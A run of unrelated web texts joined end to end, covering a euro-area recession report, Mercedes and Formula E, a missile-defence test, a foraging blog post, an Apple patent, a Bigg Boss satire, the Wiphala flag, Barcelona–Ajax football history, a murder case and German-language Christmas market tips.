Gross domestic product in the 17-nation euro area fell 0.6 percent from the third quarter, the European Union’s statistics office in Luxembourg said today, confirming an initial estimate published on Feb. 14. In the year, the economy shrank 0.9 percent.
The European Central Bank will maintain its benchmark interest rate at 0.75 percent tomorrow with the euro area mired in a recession and political instability in Italy after an inconclusive election, according to the median of 61 economists’ estimates in a Bloomberg News survey. The ECB will also update its economic forecasts.
“From the economic point of view you could justify a rate cut now or in the coming month, but at the same time we also do see that political complacency has joined the game again,” Carsten Brzeski, senior economist at ING Group in Brussels, said on March 4. “The ECB would be very hesitant to do something as long as we have this new political uncertainty in Italy.”
The euro-area economy has contracted for three straight quarters, a trend that will continue in the first three months of 2013, according to a separate Bloomberg survey of economists.
Italian Election
Italian voters in a Feb. 24-25 election rejected the German-inspired austerity put into practice by outgoing Prime Minister Mario Monti, denying a majority in parliament to front- runner Pier Luigi Bersani and throwing the country into political chaos. Monti blamed crisis-management mistakes at the European level for his defeat.
“Austerity doesn’t work; the impact on Italian consumers is catastrophic,” Sergio Marchionne, chief executive officer of Italian carmaker Fiat SpA, said on March 5 at the Geneva Motor Show. “I understand austerity, but we can lose weight until we die.”
Gross fixed capital formation dropped 1.1 percent from the previous three months, when it fell a revised 0.8 percent, today’s report showed. Consumer spending was down 0.4 percent, while government spending slipped 0.1 percent.
Exports from the euro area declined 0.9 percent after a 1 percent gain in the third quarter. Imports also dropped 0.9 percent.
Austerity Backlash
In Germany, Europe’s largest economy, GDP fell 0.6 percent in the fourth quarter, compared with a 0.2 percent increase in the previous three months. France’s economy contracted 0.3 percent, while Italy’s GDP dropped 0.9 percent. Spain’s economy shrank 0.8 percent.
As euro area finance ministers meeting in Brussels earlier this week grappled with Italy’s austerity backlash and a bailout request from Cyprus, German Chancellor Angela Merkel indicated that she is sensitive to criticisms that budget cutting has been overdone.
“We’ve done a lot to stabilize the euro,” Merkel said in Hanover on March 4. “We’ve done quite a bit to consolidate budgets, but we always have this discussion about growth, and don’t quite have the answers for where the growth should come from.”
[Bloomberg]As revealed by Motorsport.com in August, the all-electric series has been looking to expand its participating teams from 10 to 12, and Mercedes has been evaluating an opportunity to join the championship during the last year.
Formula E must, however, get the backing of the 10 existing teams in order to expand the grid in season five.
“We have been watching the growth of Formula E with great interest,” said Toto Wolff, Head of Mercedes-Benz Motorsport.
“At the current time, we are looking at all the options available in the future of motor racing, and we are very pleased with an agreement that secures us an opportunity to enter the series in season five.
"Electrification will play a major role in the future of the automotive industry - racing has always been a technology R&D platform for the motor industry, and this will make Formula E very relevant in the future.”
Mercedes engineers and hierarchy have attended Formula E races in previous seasons, and an initial plan to partner with a team, much in the same way that its German rivals Audi and BMW did, is believed to have gone through several feasibility and operational evaluations.
Common ground between F1 and FE
Mercedes and Formula E share a major partner – Qualcomm. The wireless technology giant is an official partner of both and is believed to have had a significant involvement in ensuring that Mercedes has the prospect of racing in Formula E.
Talking about the reservation for Mercedes-Benz Grand Prix Ltd (MGP), Alejandro Agag, CEO of Formula E, said: “We are delighted to confirm that we have reserved one of our two new entries in season five for MGP.
"Formula E wants to become the platform where car manufacturers test and develop the technologies that they will then introduce on their road cars.
“Having the chance to include a brand like Mercedes in our championship in the future would be a major boost to achieve that objective,” he continued.
“Formula E is becoming an exciting mix of consolidated manufacturers like Renault, Citroen-DS, Audi, Mahindra or Jaguar, and new futuristic brands like Faraday Future, NextEV, or the likes of major component manufacturers like Schaeffler and ZF.
"Mercedes would be a great addition to that growing line-up.”
Two Mercedes-contracted drivers have entered Formula E this season, with Felix Rosenqvist and Maro Engel competing with Mahindra and Venturi respectively.
Venturi is known to have spoken to several well-known OEMs over the summer about a potential partnership.
Nissan, Volvo/Polestar, Porsche and Mugen are also known to be interested in joining Formula E in some capacity over the coming years.A U.S. warship successfully shot down a medium-range ballistic missile in a test launch off the coast of Hawaii Wednesday, the U.S. Missile Defense Agency (MDA) said.
The USS John Paul Jones detected and tracked the missile, which had been launched from the Pacific Missile Range Facility on Kauai, before firing SM-6 guided missiles to intercept it, the agency said.
The test came two days after North Korea fired an intermediate-range ballistic missile over Japan, further escalating tensions between Washington and Pyongyang.
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The test near Hawaii marked the second time that an SM-6 missile intercepted a medium-range ballistic missile, according to the MDA.
MDA Director Lt. Gen. Sam Greaves said in a statement that the missile defense test was a "key milestone" for the military's Aegis Ballistic Missile Defense System, because it gives the naval component of the system an enhanced ability to intercept missiles in their terminal phase.
"We will continue developing ballistic missile defense technologies to stay ahead of the threat as it evolves," he said.
North Korean leader Kim Jong Un said Wednesday that his government would conduct more ballistic missile tests in the Pacific, North Korea state media reported.
The North's latest missile launch and Kim's apparent threat to conduct more tests in the Pacific came as the U.S. and South Korea are in the midst of joint military exercises. Those drills have been fiercely condemned by Pyongyang.A few weeks ago we got a ton of rain. Yes, I know, it rains a lot in Oregon, but this was insane. Creeks flooded, ponds formed (yay ponds!) and trees fell. We needed it, but not all at once! Anyways, as it generally goes in Southern Oregon, we have had amazingly beautiful and sunny days since. A few days into the sunny weather, I said to Joel, “I bet we can find some mushrooms if we go out looking…” Famous last words.
So, we went out on a hike along the Applegate river and looked as we went along, not really seeing much except for some epic moss, but having a great time anyways. Our hike got stopped short as the bridge that crossed the river was gone, so we turned back. On our way back we spotted this:
Hmm, orange in color…
I wonder why we didn’t see these on our way in? Goes to show you that even when you’re looking you still may not see… We thought they might be chanterelles so we picked a few.
There were literally tons of these mushrooms… the more we picked the more we saw! Since we weren’t sure if they were chanterelles, we only picked a few. They had the false gills of Chanterelles, but they also had a hollow stem. No chanterelle that I was aware of has a hollow stem. We brought them home anyways, of course. Needed to do further research.
I took a bunch of pictures and studied my books. You don’t want to mess around with eating questionable mushrooms! The gills were exactly like chanterelles, “false gills” they’re called, a major defining characteristic. Not sharp like the gills of most mushrooms, more like veins. But what about the hollow stems? I still wouldn’t let Joel cook them up.
They sure are beautiful. After a few hours on the internets and with help from other mushroom people, I discovered Winter Chanterelles. They have the false gills, a hollow stem and a funnel shape. This is what we had!!! Also called Yellowfoot, a name I prefer. They are not only edible, but extremely tasty. So, into the pan they went!
They had a lot of liquid in them as they were a bit waterlogged from all the rain.
A little bit of butter and a pinch of thyme is all they needed, and man these were delicious! So earthy and flavorful, exactly how a mushroom should be.
Gorgeous! I sure hope to find some more of these in the near future. Luckily they’re plentiful in my neck of the woods! Finding and eating your own mushrooms is one of the most rewarding things that one can do, but please be very careful and consult a guidebook. One I highly recommend is All That the Rain Promises and More by David Arora, as it’s extremely thorough, easy to read, has great pictures and is small enough to put into a backpack. Better yet, take a friend who knows about mushrooms! And definitely don’t pass up Yellowfoot Chanterelles.
Save
SaveToday, Apple was granted their second major reversible USB patent by the U.S. Patent Office. The patent covers Apple's all-things related to their Lightning connector.
Granted Patent: External Contact Connector
Apple's newly granted patent covers their invention relating to input/output electrical connectors such as audio connectors and data connectors and in particular to slim or low profile connectors that can be used in place of standard connectors currently used.
In Apple's patent claim #2 they note that "The method of claim 1 wherein the plurality of data types include HDMI data, audio data, USB data, or video data."
In Claim #11 Apple notes that the accessory of claim 7 wherein the plug connector is a reversible connector that includes opposing first and second sides, and wherein the first pair of differential data contacts is on the first side of the plug connector and the second pair of differential data contacts is on the second side of the plug connector directly opposite the first pair of differential data contacts.
Apple credits Eric Jol, Albert Golko, Mathias Schmidt and Jahan Minoo as the inventors of granted patent 8,984,188 which was originally filed in Q3 2013 and published today by the US Patent and Trademark Office.
Apple's first granted patent on this connector was made public in July 2014. For more details on this invention, see Apple's Granted Patent number 8,984,188
Patently Apple presents only a brief summary of granted patents with associated graphics for journalistic news purposes as each Granted Patent is revealed by the U.S. Patent & Trademark Office. Readers are cautioned that the full text of any Granted Patent should be read in its entirety for full details. About Making Comments on our Site: Patently Apple reserves the right to post, dismiss or edit any comments. Comments are reviewed daily from 5am to 7pm MST and sporadically over the weekend.The contestants of Bigg Boss 8 had the shock of their lives when they discovered 35 Chinese troops camping in one of the bedrooms of the Bigg Boss house. It is believed that after entering the Chumar region of North East Ladakh, the PLA men then hitched a ride all the way to ND Studios, Karjat, where the well furnished two bedroom four bathroom Bigg Boss House is located. It is not clear whether the Chinese men intend to participate in Season 8 of Bigg Boss but Beijing has warned that any attempts to evict them by a public vote and the subsequent loss of face will not go down well with the Chinese public. The Chinese contingent leader, Dong Lee, has indicated that his boys are determined to try and stay till the final round and emerge winners. “We Chinese take these competitions very seriously. We will go for gold,” Lee said.
The Indian government has reacted cautiously to the latest round of incursions. “We are closely monitoring the situation. We assure you that the process initiated by Prime Minister Modi is being carefully followed and we are awaiting an outcome. We request the Chinese to respect the sanctity of the Line of Actual Control and maintain the status quo,” was the measured response of the External Affairs Ministry spokersperson, Syed Akbaruddin.
The Indian Bigg Boss contestants, especially Puneet Issar, have been strongly advised not to crack any off-colour ‘chinki’ jokes or drop references to Hakka noodles within the earshot of the PLA men, lest it trigger the second Indo-China war. “We’ve also requested the Bigg Boss contestants to limit their interactions with the Chinese troops to exchanging recipes for making Gobi Manchurian, and not get them involved in the Bigg Boss politics of bitching and backstabbing,” an Indian official monitoring the situation said.
Former Union Minister Ajit Singh also tried to enter the Bigg Boss house but was chased away by the security, enabling the Bigg Boss producers to breathe a sigh of relief. “It’s tough enough that we have uninvited Chinese troops but at least they will only stay for season 8. But Ajit Singh would have ensconced himself for at least 10 seasons,” a relieved Salman Khan said.
(Based on a theme by Ashwin)The Wiphala ( Quechua pronunciation: [wɪˈpʰɐlɐ]) is a square emblem, commonly used as a flag, representing some native peoples of the Andes that include today's Bolivia, Peru, Ecuador and parts of Argentina, Chile and Colombia.
The suyu wiphalas are composed of a 7 × 7 square patchwork in seven colours, arranged diagonally. The precise configuration depends on the particular suyu represented by the emblem. The colour of the longest diagonal line (seven squares) determines which of the four suyus (regions) the flag represents: white for Qullasuyu, yellow for Kuntisuyu, red for Chinchaysuyu, and green for Antisuyu. There is also an alternate pattern for the Wiphala for Antinsuyu. Additionally a Wiphala also exists for Tupac Katari and the Tupac Katari Guerrilla Army.
Article 6, section II of the 2009 Bolivian constitution establishes the Wiphala as the dual flag of Bolivia, along with the red-yellow-green tricolor.[1][2]
History [ edit ]
In modern times the Wiphala has been confused with a rainbow flag which is wrongly associated with the Tawantinsuyu (Incan Empire). There is debate as to whether there was an Inca or Tawantisuyu flag. There are 16th and 17th-century chronicles and references that support the idea of a banner attributable to the Inca. However, it represented the Inca himself, not the empire. Also its origins are from symbols and mural designs found in several civilizations of the Andes with thousands of years of history.
Francisco López de Jerez[3] wrote in 1534:
They all came divided up in squads with their flags and commanding captains, with as much order as the Turks.
(todos venían repartidos en sus escuadras con sus banderas y capitanes que los mandan, con tanto concierto como turcos).
The 17-century chronicler Bernabé Cobo wrote that
the guión, or royal standard [an ecclesiastical processional banner], was a small, square small banner, of about 10-12 hands [palmos is a measure from those times and it refers to a length similar to a hand. Ruedo is the total length of the cloth], made of cotton or woolen cloth, that was carried at the top of a long flagpole, and was stiff, with no wave on the air; each king painted his arms and emblems (badges) on the banner; because each one (king) chose different ones (paintings on his banner), although the common ones among the Incas had the rainbow [sky arch].
(el guión o estandarte real era una banderilla cuadrada y pequeña, de diez o doce palmos de ruedo, hecha de lienzo de algodón o de lana, iba puesta en el remate de una asta larga, tendida y tiesa, sin que ondease al aire, y en ella pintaba cada rey sus armas y divisas, porque cada uno las escogía diferentes, aunque las generales de los Incas eran el arco celeste.)
–Bernabé Cobo, Historia del Nuevo Mundo (1653)
Guaman Poma's 1615 book El primer nueva corónica y buen gobierno shows numerous line drawings of Inca flags.[4]
The Museum of World Culture in Gothenburg, Sweden, holds a Wiphala that is dated through a C-14 test to the 11th century. It originates from the Tiwanaku region, and is part of a collection based on a kallawaya medicine man's grave.[5]
Seven colors [ edit ]
The seven colors of the actual Wiphala originate from the visible spectrum. The significance and meanings for each color are as follows:
Red: The Earth and the Andean man
Orange: Society and culture
Yellow: Energy
White: Time
Green: Natural resources
Blue: The heavens
Violet: Andean government and self-determination
Andean peoples and social movements [ edit ]
Aimara parade in Oruro, Bolivia with the official Wiphala
Current flag of the city of Cusco
Social movements in Ecuador [ edit ]
Today in Ecuador, it is readily identified with the Indian social movement mainly represented by CONAIE (Confederation of Indigenous Nationalities of Ecuador). This organization has had an important role in massive protests in the late 1990s and 2000s which have brought down three presidents perceived as corrupt and responsible for the impoverishment of Ecuadorians.[citation needed] The flag of CONAIE is a wiphala with a mask in the middle from a pre-Inca Ecuadorian coastal peoples known as La Tolita.
The flag is displayed by marches of the CONAIE movement and also it is used by its political faction, the Movimiento de Unidad Plurinacional Pachakutik - Nuevo País (a Pachakutik-inspired Movement), which participates in elections and has a considerable legislative representation. Pachakutik is a Quechua word related with the vision and the hope of a better future for the Andean people. The MUPP was formed in the 1990s mainly by an alliance of the CONAIE with peasant organizations and urban social movements. It also finds sympathy in local LGBT, feminist and Afro-Ecuadorian circles and activists.[6]
The Bolivian Wiphala [ edit ]
The Aimara wiphala is a square flag divided into 7 × 7 (49) squares. The seven rainbow colors are placed in diagonal squares. The exact arrangement and colors varies with the different versions, corresponding to the suyus or Tupac Katari. It is very prominent in marches of indigenous and peasant movements in Bolivia.
This "rainbow squares" flag is used as the pan-indigenous flag of Andean peoples in Bolivia and has recently occasionally been adopted by Amazonian groups in political alliance.
Bolivian president Evo Morales established the Qullasuyu wiphala as the nation's dual flag, along with the previous red, yellow, and green banner in the newly ratified constitution. The Wiphala has been included into the national colours of the Bolivian Air Force such as the executive jet (currently a Dassault Falcon 900EX[7]). The Wiphala is also officially flown on governmental buildings such as the Palacio Quemado and parliament alongside the tricolor since the introduction of the revised 2009 constitution.[8]
Confusion with flag of Cusco [ edit ]
The Wiphala has been confused with the seven-striped rainbow design flag, the current official banner of the Peruvian city of Cusco, where is commonly displayed in government buildings and in the main square.[9] This rainbow flag is wrongly associated with and displayed as a symbol of the Inca Empire (Tawantinsuyu), despite Peruvian historiographers and Peruvian Congress stating that the empire never had a flag.[10][11]
However, although the wiphala is an emblem related principally to Aymara people, the Inca had its origin with the Quechua people.
Controversy [ edit ]
While the wiphala is popular with Bolivia's indigenous majority that back Morales and MAS, the Wiphala has proven controversial amongst the country's traditionally ruling whites and mestizos that form the political opposition. The opposition contends, without evidence, that the indigenous movement led by Morales intends to ultimately replace the traditional tricolor with the wiphala and that its establishment as the country's dual flag is the first step towards this goal.[citation needed] Furthermore, many Bolivians, including some indigenous people, feel that the wiphala highlights Bolivia's racial tensions and in fact furthers the divide between the lower-class majority of indigenous Aymara, Quechua and Guaraní groups and the minority of upper- and middle-class whites and mestizos.[12] (See also: Demographics of Bolivia)
Others [ edit ]
See also [ edit ]The Barça coach's first foray in the Champions League against Ajax will display how far his adaptation of pass-and-move has developed. But this will still be a celebration of a way of playing
In 1872 a decision was taken that changed football forever, and that would have a major bearing on Wednesday's Champions League meeting between Barcelona and Ajax. The Scotland team, all of whom were drawn from the Queen's Park club, looked at the England side they were about to meet in the first ever football international and, realising their opponents were on average over a stone a man heavier than they were, resolved not to engage in the dribbling and charging game that had been prevalent until then, but to pass the ball and keep it away from the English. The tactic was a resounding success: Scotland had the better of a goalless draw and the possession game was born.
Passing slowly spread, but Queen's Park remained its epicentre, its players schooled in pass-and-move. Then, in 1901, the forward RS McColl – or Toffee Bob as he was known because of the chain of newsagents he ran with his brother – took the philosophy to Newcastle United as he turned professional. Newcastle at the time were a direct side, but McColl soon persuaded them of the advantages of holding possession. One of the keenest converts was the wing-half Peter McWilliam who, in 1912, was appointed manager of Tottenham.
He promoted the same passing principles there, not only among the first team but almost among the reserves and the youth sides, even buying the non-league side Northfleet Town to use as a nursery side.
Although McWilliam left in 1927, when Middlesbrough made him the best-paid manager in the game, he returned in 1938 to reap the benefits of the philosophy he had instilled, inheriting a side that included Arthur Rowe, Bill Nicholson and Vic Buckingham.
All three would become exceptional managers in their own right. Rowe led Spurs to promotion and then the title while Nicholson took them to the double. Buckingham remains West Brom's longest-serving manager, and had a profound influence on Bobby Robson there. He left the Hawthorns for Ajax, returned to England with Sheffield Wednesday and then went back to Ajax in 1964. There he found players eager to put his pass-and-move ideas into practice. He gave a debut to Johan Cruyff and prepared the ground for Rinus Michels before moving to Fulham.
After a brief stint at Ethnikos, he took charge at Barcelona in 1970 and began to instil the ethos that Michels, succeeding him again, would bring to full fruition.
It was Michels, of course, who inspired Cruyff, and Cruyff who plucked Pep Guardiola from the youth team. Guardiola may say that the biggest influence on his tactical thinking was Louis van Gaal, but he is another figure who links the clubs, having coached both – as well as helping to shape the modern Bayern Munich. It's true that Cruyff despises him and affects to hate his style of football, but they are like two elderly Marxist theorists squabbling over doctrinal minutiae: Cruyff, Van Gaal and Guardiola are all born of the same philosophical line.
Gerardo Martino, who will return to Argentina for his father's funeral after the game, is still feeling his way as Barcelona coach, but he too is of the same school, albeit the South American branch established by Marcelo Bielsa, a huge admirer of Van Gaal, at Newell's Old Boys in the early nineties. He is not as idealistic as Bielsa, perhaps not even as idealistic as Guardiola and already, his more pragmatic nature has begun to emerge: he does not simply try to pass teams to death as his predecessors have; he is not, as Gerard Piqué put it in an interview in Gazzetta dello Sport last week, "a slave to tiki-taka".
"The idea of football hasn't changed, we simply are trying to have more options now," said Piqué. "If we're being pressed, hitting a few long balls isn't being negative. It gives us oxygen, it gives us an out ball and forces the opponents to adjust." The occasional long ball prevents an opponent blindly packing the centre, makes them wary of pushing too high for fear of a ball played in behind them. Barça's use of Neymar, similarly, stretches the play, as he stays wide left, cutting infield only occasionally – something that has the added advantage of keeping him out of the way of Lionel Messi, who tends to drift right.
Back-to-back 3-2 wins, over Valencia and Sevilla, have highlighted the defensive weaknesses that still exist, particularly from set plays and Martino – who, like Neymar, is approaching his first Champions League game – was critical of his team's thought processes on Saturday. "We try to get the players to make different decisions, to weigh up whether to attack more or less," he said on Monday. "We practise that in training sessions. The other day against Sevilla, in the last 15 minutes we shouldn't have put the match at risk. Everything needs a period of adaptation. We need to adapt now that this competition has started."
Ajax lie only fourth after six games of the Eredivisie season and probably represent a lesser challenge this season than they would have done last season. The creative midfielder Christian Eriksen and the defender Toby Alderweireld have left, meaning increased responsibility for the 23-year-old South African Thulani Serero. There will be an expectation that Eriksen's compatriot Viktor Fischer, still only 19, takes on more of the creative burden, although he operates on the left rather than through the middle, while on the right Ajax have the former Barça prodigy Bojan Krkic, on loan from Roma. Frank de Boer, though, another who has played for both Barça and Ajax, remains as coach, ensuring continuity of philosophy.
But in a sense, as much as a match, this is a celebration of a way of playing. It's the Buckingham derby, the clash of two avatars of the principles that began their journey across Europe when Toffee Bob McColl left Glasgow in 1901.Your browser does not support HTML5 video tag.Click here to view original GIF
The Academy of Art University in San Francisco got together with the folks at 2K to give students a chance to create animated short films set in the Borderlands universe. The result is three funny little bits of animation, suitable for stealth marketing.
In the first short, Claptrap attempts to interrogate a psycho bandit using his new bargain basement interrogation chip. It ends badly.
The second short, "The Darkest Day", involves a mime. That's all you need to know, really.
The third and finale Tale from the HQ is titled "The Bride of Frankentrap", and involves a love triangle with everybody's favorite insane robot at the top. Seriously. Okay, mostly seriously.
Not bad at all! Want to see how the shorts were made? That's all part of "The Art of the Game", a feature-length documentary that follows a group of college students as they strive towards jobs in the competitive games industry. As it happens, we have a copy of it right here. Enjoy!Occupational Hazards - Page 30
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I snorted myself awake, my glasses hanging precariously on the end of my muzzle. I pushed them up, both the room and Cross Stitch came into focus. “Finally up?” The royal-blue stallion adjusted a bit, chuckling, being careful not to spill the bowl of grits in his lap. I rubbed the back of my neck and twisted my back, a few cracks emanating from them - ugh, I need to sleep in a real bed one of these days. Cross started to eat, levitating a spoon in his deep blue aura. “The nurse was just in; said they’ll check on me later, but I should be well enough to leave here now.”
I smiled a little. “That’s good to hear. Though, eheh, I suppose now we’ll have to find you somewhere else to sleep.” He swallowed the mush, nodding. “Maybe the hotel will sell a room to us. I mean, it's worth a shot, at least..." We sat in silence for a bit as Cross finished up his breakfast. I blushed as my own stomach growled. How long has it been since I ate? Wearing a sheepish smile, Cross Stitch pushed his bowl towards me.
Chuckling, I pushed the bowl back towards him, shaking my head. “You sure?” I nodded |
son's wife, Georgia DeFilippo, faces charges of first-degree murder (with lying in wait and firearm enhancements), conspiracy to commit a crime and false imprisonment. DeFlippo's daughter, Christina, was booked on charges of conspiracy and being an accessory.
The brothers who own the Pop N Cork liquor stores in Turlock, Baljit Singh Atwal and Daljit Singh Atwal, also both face charges of first-degree murder (with lying in wait and firearm enhancements), conspiracy to commit a crime and false imprisonment. The two men spell their last names differently.
Walter Wells, a CHP officer out of Merced during the investigation, is also facing a first-degree murder charge with a firearm enhancement, along with conspiracy and false imprisonment charges.
Two other Merced CHP officers, Scott McFarlane and Eduardo Quintanar Jr., face charges of conspiracy and being an accessory.
Quintanar has also worked as a CHP officer out of Modesto.
Everyone is expected in court next week.
Three CHP Officers Arrested in Homicide
"To learn that employees have involvement in a murder is devastating," CHP commissioner Joe Farrow said Friday in a press conference.
The Stanislaus County Sheriff's Department is the lead agency investigating the case. Sheriff Adam Christianson would not comment, Friday, on the officers' exact involvement. "I won't be discussing the case or answering any questions about this case."
Prominent Sacramento Defense attorney Bill Portanova was shocked by the arrests. "Three hundred and thirty three pages of history that goes back years. This is like tiles in a mosaic... this is one of the longest and most convoluted arrest warrant affidavits I have seen in 33 years."
CHP officer Walter Wesley Wells was arrested for first degree murder with a firearm, conspiracy, and false imprisonment. Wells is no longer with the department. In addition, officers Scott J McFarlane and Eduardo Quintanar Jr. were arrested for conspiracy in connection to Kauffman's death.
Commissioner Farrow indicated Friday that the three officers knew each other and worked in the CHP Central Division. Documents state the three partied together at the Pop N Cork Liquor store in Turlock. At one point, the affidavit quotes McFarlane as saying Kaufman is thief, and "he had to go."
As of Friday, defense attorney Frank Carson was the only person formally charged in the case. The Stanislaus County District Attorney would not comment on when and if the remaining eight will be charged.1. Brighton Christmas Village in England
Die Briten sind vollkommen verrückt – nach Weihnachtsmärkten „made in Germany“. In England gibt es keine derartige Tradition, daher importierte man sie einfach. Alle Jahre wieder duftet es in fast jeder Stadt nach Bratwurst (sausage) und Glühwein (mulled wine), Brexit hin oder her. Besonders schön ist der Christmas Market in Brighton, allein wegen der Location. Der freche, trendy Badeort ist schon seit Regency-Zeiten beliebter Hideaway für Unangepasste, heute sind Künstler, Gays und Veganer hier Mainstream.
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Viele originelle Shops reihen sich in den verwinkelten Gassen der North Lane – und dort findet nun erstmals der Weihnachtsmarkt statt, der in den acht Jahren zuvor in einem Einkaufszentrum lag. Der deutsche Veranstalter René Bieniek will hier typisch heimelige weihnachtliche Atmosphäre in Großbritannien schaffen – mit dem Funkeln von 50.000 Lichtern, zwei großen Christbäumen und überschaubaren 18 Ständen im Schwarzwaldhüttenstil. Neben den deutschen Weihnachtsmarktklassikern wird auch Berliner Currywurst angeboten, dazu teutonische Schokoliköre und -pralinen. Geschenke-Shopper finden hier selbst entworfene, fair produzierte Weihnachtssterne von „Just Stars – Heimat Berlin“. Natürlich gibt es auch typisch englische Produkte, etwa herrlich klebriges Fudge, eine Art Sahnekaramell.
>>>Bis 24.12.2016, www.brighton-christmas-market.co.uk
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Extratipp Brighton: Beim „Santa Dash“ am Strand von The Hove rennen am 10. Dezember an die 500 Weihnachtsmänner und -frauen für den guten Zweck um die Wette, viele mit ebenso verkleideten Kindern und Hunden. Und beim „Beach Hut Advent Calendar“ öffnet sich jeden Dezemberabend für eine Stunde eines der bunten Strandhäuschen, um eine Künstler-Überraschung zu zeigen.
2. Jarmark Bożonarodzeniowy in Breslau, Polen
Weihnachtlicher geht es nicht, denkt sich der Besucher, wenn vor der romantischen Kulisse des mittelalterlichen Marktplatzes die große Weihnachtspyramide leuchtet, inmitten eines Lichtermeers geschmückter Holzbuden und Tannen. In einer Hand Glühwein, in der anderen eine Thüringer Bratwurst, erstanden von einem Magdeburger Stand: Kurz wähnt man sich in Deutschland – bis der würzige Duft von gegrilltem Oscypek die Nase kitzelt, köstlicher Räucherkäse aus der polnischen Tatra. Wenn dann noch ein Kinderchor konsonantenreiche Weihnachtslieder singt und ein riesiger Zwerg vorbeikommt, weiß man wieder, wo man ist: auf dem Weihnachtsmarkt in Breslau, der Europäischen Kulturhauptstadt 2016 mit ihrer wechselhaften und schmerzvollen deutsch-polnischen Geschichte. Er vereint Weihnachtstraditionen beider Länder und wurde zu Recht in viele Bestenlisten gewählt. Weihnachtsmärkte „made in Germany“ sind auch in Polen beliebt.
Der in Breslau ist seit der Premiere 2008 enorm gewachsen, heute erstreckt er sich mit 160 Buden weit über den Marktplatz (Rynek) hinaus. Es gibt Dresdner Striezel und Pralinen, deutschen und Breslauer Glühwein mit Rum, polnische Würste, Schlesische Klöße, aber auch Elsässer Flammkuchen oder türkische Baklava – kulinarische Weltreise heißt das Konzept. Die Geschenkideen reichen von Volkskunst aus Sachsen oder Sambia über arabische Kosmetik bis hin zu polnischer Keramik und Bernsteinschmuck. Das Programm ist bunt, mit Eisskulpturenwettbewerb, Blechkapellen und fantasievollen Paraden. Eine Besonderheit sind die Breslauer Zwerge. Früher Symbol einer Politkunst-Aktivistengruppe, bevölkern sie nun als Bronzeminiaturen die Stadt. Über den Weihnachtsmarkt laufen größere Versionen – und wer dem Geschenkezwerg „Prezentuś“ drei Mal auf die Mütze tippt, darf auf Erfüllung seiner Wünsche hoffen.
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>>>Bis 22.12.2016, www.jarmarkbozonarodzeniowy.com/de
Extratipp Breslau: Die Kirche St. Maria auf dem Sande beherbergt ein beeindruckendes Krippenspiel, das der Pfarrer seit über 30 Jahren mit blinden und gehörlosen Kindern aufbaut. Um Jesus, Maria und Josef scharen sich zahllose Spielzeugfiguren, darunter Micky Maus und Pinocchio. Für eine Spende erweckt eine Nonne sie zum Leben: Musik ertönt, die Figuren wippen und tanzen.
Breslauer Weihnachtsmarkt: Achten Sie auf den Geschenkezwerg „Prezentuś“ Quelle: Maike Grunwald, www.maikegrundwald.com/Maike Grunwald, www.maikegrunwal
3. Christmas Market in Puerto Portals auf Mallorca, Spanien
Glühwein, Nürnberger Bratwürste mit Kartoffelsalat, deutsche Weihnachtslieder: Der Christmas Market am edlen Yachthafen Puerto Portals, rund zehn Kilometer westlich von Palma, gilt als besonders „deutsch“. „Wir sind die Einzigen, die mit Buden aus Holz, Tannen- und Lichterschmuck, Musik und Kulinarik das echte Flair deutscher Weihnachtsmärkte bieten“, werben die Veranstalter. Hier können Touristen Lebkuchen und Stollen zu deutschen Klängen genießen – und das direkt am Mittelmeer. Dazu locken die beliebten spanischen Leckereien, allen voran die Weihnachtssüßigkeit Turrón, weißer Nougat. Man kann Tortilla und Jamon (Schinken) genießen und Churros con Chocolate, frittiertes Gebäck, getunkt in dicke Trinkschokolade, eine typisch winterliche Leckerei. Bei milden Temperaturen lässt sich die Insel in Ruhe genießen, ohne „Ballermann“-Volk und mit entspannten Einheimischen. Auch die schätzen den „deutschen“ Weihnachtsmarkt von Puerto Portals, der dieses Jahr erstmals mit Eislaufring stattfindet. Ein Wohltätigkeitsstand unterstützt Kinderhilfsorganisationen auf der Insel und in Kenia. Shopper finden Präsente von deutschen Firmen und Mallorquinisches, etwa Olivenöl, Marmelade und Salz von der Insel, handgemachte Keramik und Fotografien.
>>>16.12. 2016 bis 6.1. 2017, www.puertoportals.com/de
Extratipp Mallorca: Beim traditionellen Weihnachtsschwimmen in Palma stürzen sich jedes Jahr am 26. Dezember mehr als 100 zum Teil verkleidete Menschen für den guten Zweck ins Meer. Betörend ist der „Gesang der Sibylle“, der Heiligabend in fast allen Kirchen Mallorcas erklingt. Der „Cant de la Sibil·la“ ist frühmittelalterliche Tradition und Unesco-Welterbe.
Glühwein und im Meer schwimmen? Auf Mallorca geht beides Quelle: PR
4. Christkindelsmärik in Straßburg, Frankreich
Wunderschön und definitiv kein Import ist der Christkindelsmärik in Straßburg. Er ist einer der ältesten Weihnachtsmärkte in Europa, seit 1570 findet er nahezu ununterbrochen statt. Damals war Straßburg Freie Reichsstadt im Heiligen Römischen Reich deutscher Nation und geprägt vom Protestantismus, der die Heiligenverehrung skeptisch sah. So löste das Christkind den St. Nikolaus ab und der Christkindelsmärik den Klausenmärik. Inzwischen gilt der Straßburger Weihnachtsmarkt mit rund 300 Buden an zehn Standorten als der größte Europas. Er kann recht voll werden, denn regelmäßig wird er auch unter die schönsten Märkte gewählt, wozu sicher seine Lage in der historischen Altstadt beiträgt. Ein Highlight ist der 30 Meter große Weihnachtsbaum auf dem Place Kléber, auch er Teil einer jahrhundertealten Tradition der Weihnachtshauptstadt, wie sie sich stolz nennt: Aus Straßburg stammt einer der frühesten schriftlichen Belege vom Christbaumbrauchtum.
Zu seinen Füßen liegt der „Markt des Teilens“ mit Wohltätigkeitsorganisationen aus Straßburg und der ganzen Welt. Den elsässischen Kunsthandwerkern ist ein eigener Markt auf dem Bahnhofsplatz gewidmet, es gibt mehrere Themenmärkte, auch einen kulinarischen. Zu den Spezialitäten zählen – neben der von Tierschützern kritisierten Gänseleberpastete – elsässischer Glühwein, auch in Weiß, Weihnachtsbier und vor allem die leckeren Bredele, elsässische Plätzchen. Rund 500 Veranstaltungen erwarten die Besucher, darunter elsässische Chormusik, finnische Tänze und Darbietungen aus Portugal, dem diesjährigem Gastland.
>>>25. bis 31.12. 2016, www.noel.strasbourg.eu/de
Extratipp Straßburg: Zur Weihnachtszeit ist die ganze Stadt ein Lichtermeer, auch abseits der Märkte. Insgesamt 33 Kilometer messen die Lichterketten in den Straßen, und die Geschäfte wetteifern um die am schönsten beleuchtete Fassade.
Straßburg ist eine Wiege des Christbaumbrauchtums Quelle: AFP/Getty Images/ff/VPA
5. Christkindlmarkt Bozen, Südtirol, Italien
